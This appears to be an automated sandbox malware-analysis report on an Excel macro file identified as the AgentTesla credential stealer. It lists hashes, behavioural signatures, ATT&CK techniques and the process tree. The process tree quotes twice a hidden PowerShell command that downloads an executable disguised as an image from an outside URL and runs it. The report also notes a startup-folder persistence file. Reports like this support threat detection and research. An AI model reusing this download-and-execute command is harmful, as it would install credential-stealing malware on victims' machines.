agenttesla | fbe5f71e75c1b92c68a6da3698f42a2ca2f9fcc6f620f494c562583c194b2011

General

Target

CO-MFE-6-2020.xlsm
Size

173KB
MD5

84ba27c4b3083be263a54322adec3149
SHA1

2548d9097c1b27f064a7089afe393fde0fbfa64d
SHA256

fbe5f71e75c1b92c68a6da3698f42a2ca2f9fcc6f620f494c562583c194b2011
SHA512

1553f2c39b55a83161326b232b507d3cf957f633462ccd6bf19b9f6890ded4d70c7c0459347f88cf45c0c846e54672a393914b6f66778748b351e397743a914e

Score

10^/10

spyware keylogger trojan stealer agenttesla

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://shopcart.indbytes.com/cig/4501307788.jpg

Signatures

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1072	EXCEL.EXE
1072	EXCEL.EXE
1072	EXCEL.EXE
1132	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1784	powershell.exe
1784	powershell.exe
1132	RegAsm.exe
1132	RegAsm.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
5	1784	powershell.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1072	EXCEL.EXE

Executes dropped EXE 1 IoCs

pid	Process
1984	Name.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Office loads VBA resources, possible macro or embedded object present

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HJdyTuap.exe	Name.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1780	1072	cmd.exe	23

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1072 wrote to memory of 1780	1072	EXCEL.EXE	24
PID 1072 wrote to memory of 1780	1072	EXCEL.EXE	24
PID 1072 wrote to memory of 1780	1072	EXCEL.EXE	24
PID 1780 wrote to memory of 1784	1780	cmd.exe	26
PID 1780 wrote to memory of 1784	1780	cmd.exe	26
PID 1780 wrote to memory of 1784	1780	cmd.exe	26
PID 1784 wrote to memory of 1984	1784	powershell.exe	28
PID 1784 wrote to memory of 1984	1784	powershell.exe	28
PID 1784 wrote to memory of 1984	1784	powershell.exe	28
PID 1784 wrote to memory of 1984	1784	powershell.exe	28
PID 1984 wrote to memory of 1132	1984	Name.exe	29
PID 1984 wrote to memory of 1132	1984	Name.exe	29
PID 1984 wrote to memory of 1132	1984	Name.exe	29
PID 1984 wrote to memory of 1132	1984	Name.exe	29
PID 1984 wrote to memory of 1132	1984	Name.exe	29
PID 1984 wrote to memory of 1132	1984	Name.exe	29
PID 1984 wrote to memory of 1132	1984	Name.exe	29
PID 1984 wrote to memory of 1132	1984	Name.exe	29

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1784	powershell.exe
Token: SeDebugPrivilege	1132	RegAsm.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1984	Name.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1984 set thread context of 1132	1984	Name.exe	29

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\CO-MFE-6-2020.xlsm
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:1072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/4501307788.jpg',$env:Temp+'\Name.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\Name.exe')
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/4501307788.jpg',$env:Temp+'\Name.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\Name.exe')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Blacklisted process makes network request
    - Suspicious use of WriteProcessMemory
    - Suspicious use of AdjustPrivilegeToken
    PID:1784
  - - C:\Users\Admin\AppData\Local\Temp\Name.exe
      "C:\Users\Admin\AppData\Local\Temp\Name.exe"
      4⤵
      Executes dropped EXE
      Drops startup file
      Suspicious use of WriteProcessMemory
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetThreadContext
      PID:1984
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Suspicious use of SetWindowsHookEx
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1132

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Lateral Movement

Collection

Data from Local System

3

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1072-1-0x0000000006FC0000-0x00000000070C0000-memory.dmp

Filesize
1024KB

Download
memory/1072-0-0x0000000006FC0000-0x00000000070C0000-memory.dmp

Filesize
1024KB

Download
memory/1132-7-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download
memory/1132-9-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download
memory/1132-10-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download

Analysis

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